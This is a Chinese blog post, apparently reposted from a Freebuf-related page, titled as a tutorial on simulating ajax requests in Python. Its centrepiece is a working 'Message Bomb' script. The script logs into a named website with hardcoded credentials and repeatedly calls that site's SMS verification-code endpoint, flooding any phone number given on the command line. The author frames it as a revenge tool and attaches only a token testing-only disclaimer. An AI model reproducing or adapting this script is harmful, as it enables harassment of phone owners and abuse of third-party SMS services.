python模拟ajax请求_短信炸弹—用Python模拟ajax请求
我们经常使用各种脚本发送网络请求,提交各种形式的body数据,所以Content-Type的类型也有很多种。
常见的取值有:
application/xml : 在 XML RPC,如 RESTful/SOAP 调用时使用
application/json : 在 JSON RPC 调用时使用
application/x-www-form-urlencoded : 浏览器提交 Web 表单时使用
Content-Type : 在使用 REST 接口时,服务器会检查该值,用来确定 HTTP Body 中的内容该怎样解析。
在提交web表单数据时,Body中的数据格式要和Content-Type的值类型一致,如果Content-Type 设置错误会导致服务器拒绝服务
还有些网站的数据需要通过ajax来请求获得,ajax请求在发起请求之前必须设置必要的http头,还需要将请求数据封装为json格式。
下面的脚本代码就是这种情况,将请求数据封装为json格式:
req.add_header('Content-Type', 'application/json')
然后设置ajax请求形式的请求头:
req.add_header('X-Requested-With','XMLHttpRequest')
#-*-coding:utf-8-*-
#!/usr/bin/python
#
# Message Bomb v1.0
#From: sb.f4ck.net By: xfkxfk
#
import json
import urllib2
import sys
def request_ajax_url(url,body,referer=None,cookie=None,**headers):
req = urllib2.Request(url)
req.add_header('Content-Type', 'application/json')
req.add_header('X-Requested-With','XMLHttpRequest')
if cookie:
req.add_header('Cookie',cookie)
if referer:
req.add_header('Referer',referer)
if headers:
for k in headers.keys():
req.add_header(k,headers[k])
postBody = json.dumps(body)
response = urllib2.urlopen(req, postBody)
if response:
return response
def run():
import time
"use username:xfkxfk; use password:123456"
login_url = 'http://www.lusen.com/member/Login.aspx'
login_body = {"action":"login","UserName":"xfkxfk","Password":"123456","AutomaticLogin":False}
login_referer = "http://www.lusen.com/member/Login.aspx?ReturnUrl=aHR0cDovL3d3dy5sdXNlbi5jb20vRGVmYXVsdC5hc3B4"
url = 'http://www.lusen.com/Member/MobileValidate.aspx'
referer = "http://www.lusen.com/Member/ModifyMobileValidate.aspx"
headers = {}
response = request_ajax_url(login_url,login_body,login_referer)
if response.read() == "1":
print " Login Success !!!"
if response.headers.has_key('set-cookie'):
set_cookie = response.headers['set-cookie']
else :
print " Get set-cookie Failed !!! May Send Messages Failed ~~~"
if len(sys.argv) < 3:
print "\nUsage: python " + sys.argv[0] + "mobile_number" + "count\n"
sys.exit()
mobile_number = sys.argv[1]
count = sys.argv[2]
body = {"action":"GetValidateCode","Mobile":mobile_number}
i=0
while i < int(count):
response = request_ajax_url(url,body,referer,set_cookie)
i=i+1
if response.read() == "发送成功":
print " Send " + count + " Messages To " + mobile_number + " !!!"
if __name__ == "__main__":
run()
大家有仇报仇有怨抱怨啊
(Freebuf温馨提示:仅供安全测试之用,禁止非法用途)
python模拟ajax请求_短信炸弹—用Python模拟ajax请求相关推荐
- Web安全之防止短信炸弹
虽然标题名为防止短信炸弹,但其实这就是个限流的问题--也就是限制某个接口的时间窗口内的请求数. 1. 概述 本人所在的公司属于传统的国土行业,技术以求稳为主,而且为了兼顾实施人员的开发水平,至今连MQ ...
- python 使用twilio免费发送短信
这里写自定义目录标题 python 使用twilio免费发送短信 登录 获取发送用号码 在python中测试,并发送短信 python 使用twilio免费发送短信 使用twilio提供的服务,貌似使 ...
- 使用python代码给手机发短信详解(twilio的使用)
☞☞☞点击查看更多优秀Python博客☜☜☜ 使用python代码给手机发短信详解 twilio网页注册 实现代码 效果演示 ==**文章导航:==** 使用python代码给手机发送短信,在这里给大 ...
- 关于防止短信炸弹的几种方法
关于防止短信炸弹的几种方法 1. 限制每个手机号的每日发送次数,超过次数则拒发送,提示超过当日次数. 2.每个ip限制最大限制次数.超过次数则拒发送,提示超过ip当日发送最大次数. 3. 限制每个手机 ...
- 电信卡_短信查询指令
电信卡_短信查询指令 尊敬的用户,欢迎使用电信短信营业厅,您可以直接回复所选菜单编号(或拼音代码)进行业务受理和查询. 1.费用查询 (101)(SSHF) 实时话费 (102)(ZHYE) 帐户余额 ...
- python GSM模块-电脑接收短信
文章目录 一.GSM模块: 1. 产品介绍 2.前言:最近做了一个需求,需要接收手机短信验证码.因此我这里考虑到了 GSM 模块 一.GSM模块: 1. 产品介绍 ① 一种具有独立的操作系统的功能模块 ...
- 使用Python开通腾讯云短信(sms)【亲测有效·超详细】
使用Python开通腾讯云短信(sms) 1.开通腾讯云短信服务 2.创建应用 3.创建签名 4.Python 操作腾讯云短信接口 模块安装 详细代码[可直接作为接口] 1.开通腾讯云短信服务 腾讯云 ...
- 请求一个短信接口,并接收该接口返回的状态值
最近项目中用到发送验证码这个功能,需要请求一个短信接口,并且接收请求后返回的状态值,开始我觉得要抓取页面内容,然后自己也就这样做了,发现效果不理想,之后就放弃了. 接着就百度了,有人提到用HttpWe ...
- python使用SIM800C发送英文短信
python使用SIM800C发送英文短信 import io import time import serial import serial.tools.list_ports# 字符串转16进制un ...
最新文章
- 今天看了一下攒机配置 5000元以下 参考以下
- python使用缩进作为语法边界一般建议怎样缩进-Python基础自测挑战题
- HTTP Status 405 - HTTP method POST is not supported by this URL
- 详解C++中的函数调用和下标以及成员访问运算符的重载
- VC6重载字体对话框,去除颜色下拉框
- daatable动态创建
- linux 文件系统 xfs、ext4、ext3 的区别
- 【方案分享】抖音平台新媒体百问百答:平台规则、爆款涨粉、运营技巧、内容变现.pdf(附下载链接)...
- spring提供的线程池
- r5驱动 索尼exmor_为画质插上翅膀 详解索尼Exmor R CMOS
- Tensorflow 笔记 Ⅳ——mnist手写数字识别
- 使用Glide切换图片时闪动
- 2021CCPC东北四省赛 K. City 并查集
- Congfu Xu's HomePage
- Access-培训管理系统-03-建个数据库
- Tensorflow中的多层感知器学习
- 使用集合转数组的方法,必须使用集合的 toArray(T[] array),传入的是类型完全一样的数组,大小就是 list.size()。
- 当罗“工匠”遇上雷“铁匠”
- 微信小程序template模板与component自定义组件的区别和使用
- 永磁同步电机矢量控制(八)——弱磁控制(直接计算法)
热门文章
- 制作旋转led_LED用蓝宝石衬底及加工工艺!
- docker下载慢,卡顿解决办法——免费安装人人都有的docker加速器
- Retrofit网络请求参数注解,@Path、@Query、@Post、Body等总结(超级实用)以及以Json格式和form-data格式提交数据
- python中turtle画树_python中turtle可以画树吗?怎么画?
- Android开发之引用framework.jar中的方法 | 引用framework.jar包
- tron区块链php对接,Tron区块链技术 - Tron智能合约概述
- php断点调试的几种方法
- tms脚本演示代码之一
- RocketMQ 源码分析 事务消息
- FIR仿真module_04